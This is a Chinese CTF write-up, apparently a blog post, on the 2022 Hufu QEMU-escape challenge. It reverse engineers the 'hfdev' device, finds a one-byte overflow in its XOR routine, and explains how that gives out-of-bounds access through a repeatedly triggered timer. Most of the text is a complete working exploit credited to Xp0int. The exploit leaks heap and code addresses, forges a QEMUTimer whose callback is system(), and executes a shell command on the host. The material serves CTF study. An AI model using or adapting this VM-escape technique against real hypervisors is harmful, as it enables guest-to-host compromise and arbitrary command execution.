再承接上文 我们开始看题
https://blog.csdn.net/yongbaoii/article/details/123789641
绿
#!/bin/sh
#gdb -args \
./qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-hda rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr" \
-monitor /dev/null \
-smp cores=1,threads=1 \
-cpu kvm64,+smep,+smap \
-L pc-bios \
-device hfdev \
-no-reboot \
-snapshot \
-nographic
启动脚本长这样
设备是hfdev
函数就这些
但是本地类型里找不到hfdev的结构体
那么就是去了符号表了
那么第一个难关就是逆向。
我们首先关注一下realize函数
因为这个函数本身就是qemu的qom结构体里面初始化对象的时候第四步用户自定义类对象的函数
里面会对我们的结构体进行一些初始化,进行一些设置。
首先就是注册对象
然后在结构体0x233的地方申请了一个chunk
这个chunk走了一下timer_init_full函数
我们跟进一下这个函数。
那么我们前面介绍过timer_init_full这个函数
它创建了一个QEMUTimer结构体。
void timer_init_full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque);
/**
* timer_init:
* @ts: the timer to be initialised
* @type: the clock to associate with the timer
* @scale: the scale value for the timer
* @cb: the callback to call when the timer expires
* @opaque: the opaque pointer to pass to the callback
*
* Initialize a timer with the given scale on the default timer list
* associated with the clock.
* See timer_init_full for details.
*/
void timer_init_full(QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group, QEMUClockType type,
int scale, int attributes,
QEMUTimerCB *cb, void *opaque)
{
if (!timer_list_group) {
timer_list_group = &main_loop_tlg;
}
ts->timer_list = timer_list_group->tl[type];
ts->cb = cb;
ts->opaque = opaque;
ts->scale = scale;
ts->attributes = attributes;
ts->expire_time = -1;
}
//QEMUTimer结构体长这样
struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
QEMUTimerList *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer *next;
int attributes;
int scale;
};
然后长这样
它本应该是注册了timer的回调,当时间到了expire_time就会调用hfdev_func函数,参数是hfdev的结构体指针
但是因为expire_time为-1,所以永远也不会调用那个函数的。
qemu_bh_new函数也是我们前面提到过的注册了一个bh
这个没啥看的
我们只需要知道这里面涉及到的qemu_process函数会在qemu_bh_schedule被触发导致调用。
bh这个指针放在了结构体a[0x234]地方
然后realize函数里一顿初始化
调用了memory_region_init_io
看到初始化了pmio
大小0x20
指针放在了结构体里面
hfdev_port_read
这个简单一点
功能2 读出来a[0x29E]
功能6 读出来a[0x462]
功能8 读出来a[0x29C]
功能12 读出来a[0x29A]
hfdev_port_write
打开是jmp rax
跳表修复
jmp rax
整完就这样
看到上面的标黄的v4也是a1
看汇编就知道了。
功能2 往0x14C写两个字节
功能4 0x14C写高两个字节
功能6 往0x14D写个值,但是这个值不能大于0x400
功能8 往0x152 0x1d2地方写0,写的个数一定是8的倍数,受结构体里两个参数控制
功能10 获取当前时间,再加上参数a3*0x100000000放在0x150的地方
功能12 调用qemu_bh_schedule ,也就是调用fhdev_process。 参数是0x234
那我们再去看一下hfdev_func 和 hfdev_process函数。
hfdev_func
hfdev_process
逆向分析半天之后
__int64 __fastcall hfdev_process(__int64 a1)
{
__int64 v1; // rbp
__int64 v3; // rsi
unsigned __int64 v4; // rdx
__int64 v5; // rdi
__int64 result; // rax
unsigned __int64 v7; // rdx
unsigned __int64 v8; // rax
__int16 v9; // dx
int v10; // edx
__int64 v11; // rdx
bool v12; // zf
int v13; // edx
__int64 v14; // rsi
char v15; // r8
char v16; // di
__int64 v17; // rcx
char v18; // dl
v1 = a1 + 0xA88; // v1=&a[0x151]
v3 = a1 + 0xA88; // v3=&a[0x151]
v4 = *(_QWORD *)(a1 + 0xA68); // v4=a[0x14D]
v5 = *(_QWORD *)(a1 + 0xA60); // v5=a[0x14c]
if ( v4 > 0x400 )
v4 = 1024LL;
cpu_physical_memory_rw(v5, v3, v4, 0); // v5复制到v3
//这个函数还是比较常见的,cpu_physical_memory_rw(a1, a2, a3, 1);是将a2复制到a1,而cpu_physical_memory_rw(a1, a2, a3, 0);则将a1复制到a2
//但是要注意的是,cpu_physical_memory_rw的第一个参数为硬件地址,即物理地址,所以我们需要将qemu里面的虚拟地址,转化为物理地址。
result = *(unsigned __int8 *)(a1 + 0xA88); // 0xA88是一个字节 用来选择
switch ( (_BYTE)result )
{
case 0x20:
v7 = *(unsigned __int16 *)(a1 + 0xA91); // 0xA91 0XA92两个字节是v7
v8 = *(_QWORD *)(a1 + 0xA70); // v8=a[0x14E]
if ( v7 > v8 )
v7 = (unsigned __int16)v8;
return cpu_physical_memory_rw(*(_QWORD *)(a1 + 0xA89), a1 + 0xE88, v7, 1u);// a[0x1D1]复制到**(a + 0xA89)
case 0x30:
result = *(unsigned __int16 *)(a1 + 0xA89);// 0xA89 0XA8B两个两字节是不是小于0x100
v11 = *(unsigned __int16 *)(a1 + 0xA8B);
if ( (unsigned __int16)result <= 0x100u && (unsigned __int16)v11 <= 0x100u )
{
v12 = *(_QWORD *)(a1 + 0x1188) == 0LL; // *(a + 0x1188)是不是等于0
*(_QWORD *)(a1 + 0xA78) = result; // *(a + 0xa78) = *(a + 0xa78)
*(_QWORD *)(a1 + 0x1190) = v11 + v1;
if ( !v12 )
return timer_mod(*(_QWORD *)(a1 + 0x1198), *(_QWORD *)(a1 + 0xA80));// timer_mod注册了计时器
// timer_mod里面调用了timer_mod_ns
// void timer_mod_ns(QEMUTimer *ts, int64_t expire_time);
}
break;
case 0x10:
v9 = *(_WORD *)(a1 + 0xA8B); // *(a + 0xa8b)还是用来选择
result = *(unsigned __int16 *)(a1 + 0xA8D);// result=*(a +0xa80)
if ( v9 == 0x2202 )
{
v13 = 0x200;
if ( (unsigned __int16)result <= 0x200u )
v13 = *(unsigned __int16 *)(a1 + 0xA8D);
if ( (_WORD)result )
{
v14 = (unsigned __int16)v13;
v15 = *(_BYTE *)(a1 + 0xA89);
v16 = *(_BYTE *)(a1 + 0xA8A);
result = a1 + 0xA8F;
v17 = a1 + (unsigned int)(v13 - 1) + 0xA90;
do
{
v18 = *(_BYTE *)result++;
*(_BYTE *)(result + 0x3F8) = v16 ^ (v15 + v18);
*(_QWORD *)(a1 + 0xA70) = v14;
}
while ( v17 != result );
}
}
else if ( v9 == 0x2022 )
{
if ( (unsigned __int64)(unsigned __int16)result > *(_QWORD *)(a1 + 0xA70) )// 最大是A70
// A70上面可以设置 最大是0x200
LOWORD(result) = *(_QWORD *)(a1 + 0xA70);
v10 = (unsigned __int16)result;
result = 0LL;
do
{
*(_BYTE *)(a1 + result + 0xE88) ^= *(_BYTE *)(a1 + result + 0xA8F);// 理论上最大能写到0x1187
// 但是下面v10那里判断是大于等于号
// 导致能有一个字节的溢出
++result;
}
while ( v10 >= (int)result );
}
break;
}
return result;
}
那么漏洞就找到了
就是功能0x2022中有一个字节的溢出
这个溢出能导致我们可以控制0x1188
控制这个0x1188能让我们反复调用timer
也就是反复调用hfdev_func
func这个函数
可以往e88缓冲区里面复制东西
但是只能复制一次
但是我们能溢出
所以就能一直复制
就会导致越界读写。
具体利用起来的思路是参考Xp0int战队大佬。
我们首先利用越界读读出e88下面timer结构体的指针
这样就能泄露堆地址
然后设置 timer 的触发时间 expire_time,启动 timer。
在时间未到 expire_time 、 timer 没有被触发时,利用越界写将memcopy_src字段改写为timer+0x10,这个位置上面有hfdev_func地址。
触发后,timer 调用hfdev_func,将memcopy_src指向的内容复制到 buf,从而泄露hfdev_func地址,得到程序基址。
利用泄露的堆地址,在op中伪造一个 timer 对象,将callback设为system,opaque设为cat flag地址。利用越界写将 fake timer 地址覆盖到timer指针,然后触发 timer。然后实现RCE。
有几个小trick
题目文件系统用的是rootfs.img 跟平常的.cpio不一样。
平常.cpio我们可以解压再打包
那这种.img咋处理?
关于qemu启动时往.img文件系统打包东西这件事
还有在读写端口的时候我比赛的时候自己写用的是outl inl
但是经过测试始终完成不了读写
看大佬的wp以及官方的wp 都是用的inw outw。
这具体为啥我也不知道…
有知道的大佬麻烦滴滴我。
outb() I/O 上写入 8 位数据 ( 1 字节 );
outw() I/O 上写入 16 位数据 ( 2 字节 );
outl () I/O 上写入 32 位数据 ( 4 字节)。
inb() I/O 上读取 8 位数据 ( 1 字节 );
inw() I/O 上读取 16 位数据 ( 2 字节 );
intl () I/O 上读取 32 位数据 ( 4 字节)。
exp我也写不出比Xp0int更好的
自己改改贴过来也没啥意思
就直接贴过来大佬exp算了
当然附上原链接
2022 虎符 wp by Xp0int
// FILE: exp.c
// musl-gcc -static exp.c -s -o exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/io.h>
#include "pagemap.h"
#define PORTNUM 0xc040
#define SLEEP_SEC 1
struct OP {
char opcode;
int16_t reg0;
int16_t reg1;
int16_t reg2;
int16_t reg3;
char payload[1015];
} __attribute__((packed));
//定义了一个结构体
void init() {
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
iopl(3);
}
int64_t v2p(void* vaddr) {
char pmpath[0x100] = { 0 };
sprintf(pmpath, "/proc/%u/pagemap", getpid());
return read_pagemap(pmpath, (unsigned long)vaddr);
}
void pmio_write(int addr, int16_t val) {
outw(val, PORTNUM+addr);
}
int16_t pmio_read(int addr) {
return inw(PORTNUM+addr);
}
void trigger_aio() {
pmio_write(12, 0);
}
void set_len(int16_t len) {
pmio_write(6, len);
}
void set_expire_time(int16_t nsec) {
pmio_write(10, nsec);
}
void set_addr(int32_t paddr) {
pmio_write(2, paddr & 0xffff);
pmio_write(4, (paddr >> 16)& 0xffff);
}
int main()
{
init();
char data[0x1000] = {0};
struct OP op1;
memset(&op1, 0, sizeof(op1));
int32_t op_addr = v2p(&op1);
set_addr(op_addr);
set_len(0x400);
int32_t data_addr = v2p((void*)data);
printf("[*] offset += 0x200 (reg3 XOR)\n");
op1.opcode = 0x10;
op1.reg0 = 0;
op1.reg1 = 8706;
op1.reg2 = 0x200;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] offset += 0x100 (timer)\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x30;
op1.reg0 = 0x100;
op1.reg1 = 0x80;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] is_timer_avail = 0x1 (XOR)\n"); // BUG
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x10;
op1.reg0 = 0;
op1.reg1 = 8226;
op1.reg2 = 0x300;
*((char*)&op1.reg3+0x300) = 0x1;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] offset += 0x10 (timer)\n"); // OOB
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x30;
op1.reg0 = 0x10;
op1.reg1 = 0x80;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] set memcopy_src (timer)\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x30;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] leaking heap address...\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x20;
*(int64_t*)(&op1.reg0) = data_addr;
*(int16_t*)(&op1.payload[0]) = 0x310;
trigger_aio();
sleep(SLEEP_SEC);
int64_t op_ptr = *(int64_t*)(data+0x308);
int64_t base_ptr = op_ptr-0xA88;
int64_t ctx_ptr = op_ptr-0x122098;
int64_t timer_ptr = op_ptr+0x12b8;
//~ int64_t timer_list_ptr = op_ptr-0x107e588;
//~ int64_t timer_list_ptr = op_ptr-0x1190ab8;
int64_t timer_list_ptr = op_ptr-0x110df78;
printf("[!] op_ptr: 0x%llx\n", op_ptr);
printf("[!] base_ptr: 0x%llx\n", base_ptr);
printf("[!] ctx_ptr: 0x%llx\n", ctx_ptr);
printf("[!] timer_ptr: 0x%llx\n", timer_ptr);
printf("[!] timer_list_ptr: 0x%llx\n", timer_list_ptr);
printf("[*] is_timer_avail = 0x1 (XOR)\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x10;
op1.reg0 = 0;
op1.reg1 = 8226;
op1.reg2 = 0x300;
*((char*)&op1.reg3+0x300) = 0x1;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] Setting timer delay...\n");
set_expire_time(100);
sleep(SLEEP_SEC);
printf("[*] Triggering timer...\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x30;
op1.reg0 = 8;
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] Corrupting memcopy_src to timer_ptr while waiting...\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x10;
op1.reg0 = 0;
op1.reg1 = 8226;
op1.reg2 = 0x310-1;
*(int64_t*)((char*)&op1.reg3+0x308) = (timer_ptr+0x10) ^ op_ptr; // memcopy_src
trigger_aio();
sleep(SLEEP_SEC);
printf("[*] Waiting for timer...\n");
//~ getchar();
sleep(10);
printf("[*] leaking code address...\n");
memset(&data, 0, sizeof(data));
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x20;
*(int64_t*)(&op1.reg0) = data_addr;
*(int16_t*)(&op1.payload[0]) = 0x318;
trigger_aio();
sleep(SLEEP_SEC);
int64_t hfdev_func_ptr = *(int64_t*)(data+0x308+8);
int64_t codebase = hfdev_func_ptr-0x381190;
int64_t system_ptr = codebase+0x2D6610;
printf("[!] hfdev_func_ptr: 0x%llx\n", hfdev_func_ptr);
printf("[!] codebase: 0x%llx\n", codebase);
printf("[!] system_ptr: 0x%llx\n", system_ptr);
int64_t fake_timer = op_ptr + 9;
set_expire_time(0);
sleep(SLEEP_SEC);
printf("[*] is_timer_avail = 0x1 (XOR)\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x10;
op1.reg0 = 0;
op1.reg1 = 8226;
op1.reg2 = 0x300;
*((char*)&op1.reg3+0x300) = 0x1;
trigger_aio();
sleep(SLEEP_SEC);
printf("[-] Ready to RCE>");
getchar();
printf("[*] Triggering fake timer for RCE...\n");
memset(&op1, 0, sizeof(op1));
op1.opcode = 0x30;
uint64_t* ptr = (uint64_t*)((char*)&op1+9);
ptr[0] = 0xffffffffffffffff;
ptr[1] = timer_list_ptr;
ptr[2] = system_ptr;
ptr[3] = fake_timer+8*8;
strcpy((char*)&ptr[8], "ls -l && cat flag");
trigger_aio();
sleep(SLEEP_SEC);
getchar();
}
// FILE: pagemap.h
// https://www.cnblogs.com/pengdonglin137/p/6802108.html
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <assert.h>
#include <errno.h>
#include <stdint.h>
#include <string.h>
#define PAGEMAP_ENTRY 8
#define GET_BIT(X,Y) (X & ((uint64_t)1<<Y)) >> Y
#define GET_PFN(X) X & 0x7FFFFFFFFFFFFF
const int __endian_bit = 1;
#define is_bigendian() ( (*(char*)&__endian_bit) == 0 )
int i, c, pid, status;
unsigned long virt_addr;
uint64_t read_val, file_offset, page_size;
char path_buf [0x100] = {};
FILE * f;
char *end;
int read_pagemap(char * path_buf, unsigned long virt_addr);
int read_pagemap(char * path_buf, unsigned long virt_addr){
f = fopen(path_buf, "rb");
if(!f){
printf("Error! Cannot open %s\n", path_buf);
return -1;
}
//Shifting by virt-addr-offset number of bytes
//and multiplying by the size of an address (the size of an entry in pagemap file)
file_offset = (virt_addr / getpagesize()) * PAGEMAP_ENTRY;
printf("Vaddr: 0x%lx, Page_size: %lld, Entry_size: %d\n", virt_addr, getpagesize(), PAGEMAP_ENTRY);
printf("Reading %s at 0x%llx\n", path_buf, (unsigned long long) file_offset);
status = fseek(f, file_offset, SEEK_SET);
if(status){
perror("Failed to do fseek!");
return -1;
}
errno = 0;
read_val = 0;
unsigned char c_buf[PAGEMAP_ENTRY];
for(i=0; i < PAGEMAP_ENTRY; i++){
c = getc(f);
if(c==EOF){
printf("\nReached end of the file\n");
return 0;
}
if(is_bigendian())
c_buf[i] = c;
else
c_buf[PAGEMAP_ENTRY - i - 1] = c;
printf("[%d]0x%x ", i, c);
}
for(i=0; i < PAGEMAP_ENTRY; i++){
//printf("%d ",c_buf[i]);
read_val = (read_val << 8) + c_buf[i];
}
printf("\n");
printf("Result: 0x%llx\n", (unsigned long long) read_val);
uint64_t pfn;
if(GET_BIT(read_val, 63)) {
pfn = GET_PFN(read_val);
printf("PFN: 0x%llx (0x%llx)\n", pfn, pfn * getpagesize() + virt_addr % getpagesize());
} else
printf("Page not present\n");
if(GET_BIT(read_val, 62))
printf("Page swapped\n");
fclose(f);
uint64_t paddr = pfn * getpagesize() + virt_addr % getpagesize();
return paddr;
}